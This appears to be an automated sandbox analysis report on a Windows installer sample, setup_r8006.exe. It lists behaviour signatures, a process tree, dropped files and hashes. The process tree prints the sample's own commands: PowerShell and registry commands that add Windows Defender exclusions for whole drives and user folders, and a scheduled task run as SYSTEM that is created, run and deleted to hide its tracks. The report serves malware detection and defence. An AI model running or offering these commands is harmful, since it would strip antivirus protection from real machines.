Analysis

  • max time kernel
    151s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 09:30

General

  • Target
    setup_r8006.exe
  • Size 61.7MB
  • Sample260805-lgzpasdk3x
  • SHA256 c155e8776d6b77faf9275904bfda5368c3cc0dda0ed9d588b8c265db4f3840f8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_r8006.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_r8006.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4976
  • C:\Users\Public\iTfAaa\ZLctve.exe
    "C:\Users\Public\iTfAaa\ZLctve.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3004
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\iTfAaa\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3548
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\iTfAaa\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5876
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4296
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4528
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3664
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3748
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5728
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1776
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:6140
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:540
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3060
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5696
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1956
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5744
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3248
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4320
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5680
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5812
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4944
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2052
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\iTfAaa" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1424
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\iTfAaa" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:1928
                      • C:\Users\Public\iTfAaa\ZLctve.exe
                        "C:\Users\Public\iTfAaa\ZLctve.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5580
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5116
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1096
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2624
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5968
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1560
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:712
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1544

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\iTfAaa\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 f2b85900d0994ea154e2c8c9c6091d2ced0bcb34df93d1004a8159c66d22ea32
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              ZLctve.exe

                              • Path C:\Users\Public\iTfAaa\ZLctve.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\iTfAaa\adoresd.dat
                              • Size 4.7MB
                              • SHA256 3d6d0f175007704030cd3337858c6b75c1a10d50b1c03988de739ff42a4d1ca0
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\iTfAaa\msadox.tb
                              • Size 8KB
                              • SHA256 cf5b966ae27473beb0c78195e9459eb0490b3ae2091675b963ec83df03b829c5
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3004-599-0x00000284E1E20000-0x00000284E1E2A000-memory.dmp

                              memory/3004-598-0x00000284E20A0000-0x00000284E2152000-memory.dmp

                              memory/3004-597-0x00000284E1E00000-0x00000284E1E1E000-memory.dmp

                              memory/3004-593-0x00000284E1D90000-0x00000284E1DB2000-memory.dmp

                              memory/4552-560-0x0000028100130000-0x00000281001BA000-memory.dmp

                              memory/4552-563-0x000002817F6A0000-0x000002817FF31000-memory.dmp

                              memory/4552-530-0x00007FFD8E030000-0x00007FFD8E032000-memory.dmp

                              memory/4552-566-0x000002817F6A0000-0x000002817FF31000-memory.dmp

                              memory/4552-536-0x000002817F6A0000-0x000002817FF31000-memory.dmp

                              memory/4552-543-0x000002817F6A0000-0x000002817FF31000-memory.dmp

                              memory/4552-539-0x000002817F6A0000-0x000002817FF31000-memory.dmp

                              memory/4552-538-0x00007FFD8E040000-0x00007FFD8E042000-memory.dmp

                              memory/4552-544-0x000002817F6A0000-0x000002817FF31000-memory.dmp

                              memory/4552-546-0x000002817F6A0000-0x000002817FF31000-memory.dmp

                              memory/4552-545-0x000002817F6A0000-0x000002817FF31000-memory.dmp

                              memory/4552-550-0x000002817F6A0000-0x000002817FF31000-memory.dmp

                              memory/4552-565-0x000002817F6A0000-0x000002817FF31000-memory.dmp

                              memory/4552-561-0x0000028100130000-0x00000281001BA000-memory.dmp

                              memory/4552-558-0x0000028100130000-0x00000281001BA000-memory.dmp

                              memory/4552-559-0x0000028100130000-0x00000281001BA000-memory.dmp

                              memory/4552-557-0x0000028100050000-0x000002810009E000-memory.dmp

                              memory/4552-531-0x00007FFD6C140000-0x00007FFD6C65E000-memory.dmp

                              memory/4976-0-0x00000000004D0000-0x00000000004DD000-memory.dmp

                              memory/4976-525-0x00007FFD7F170000-0x00007FFD7F182000-memory.dmp

                              memory/4976-1-0x00000000004D0000-0x00000000004DD000-memory.dmp

                              memory/4976-2-0x00000000004E0000-0x00000000004EB000-memory.dmp

                              memory/4976-504-0x00007FFD7F170000-0x00007FFD7F182000-memory.dmp

                              memory/4976-524-0x00000000004D0000-0x00000000004DD000-memory.dmp

                              memory/5580-586-0x000001E5DF180000-0x000001E5DFA11000-memory.dmp

                              memory/5580-585-0x000001E5DF180000-0x000001E5DFA11000-memory.dmp

                              memory/5580-584-0x000001E5DF180000-0x000001E5DFA11000-memory.dmp

                              memory/5580-583-0x000001E5DF180000-0x000001E5DFA11000-memory.dmp

                              memory/5580-579-0x000001E5DF180000-0x000001E5DFA11000-memory.dmp

                              memory/5580-587-0x00007FFD8E030000-0x00007FFD8E032000-memory.dmp

                              memory/5580-578-0x00007FFD8E040000-0x00007FFD8E042000-memory.dmp

                              memory/5580-576-0x000001E5DF180000-0x000001E5DFA11000-memory.dmp

                              memory/5580-573-0x00007FFD6C140000-0x00007FFD6C65E000-memory.dmp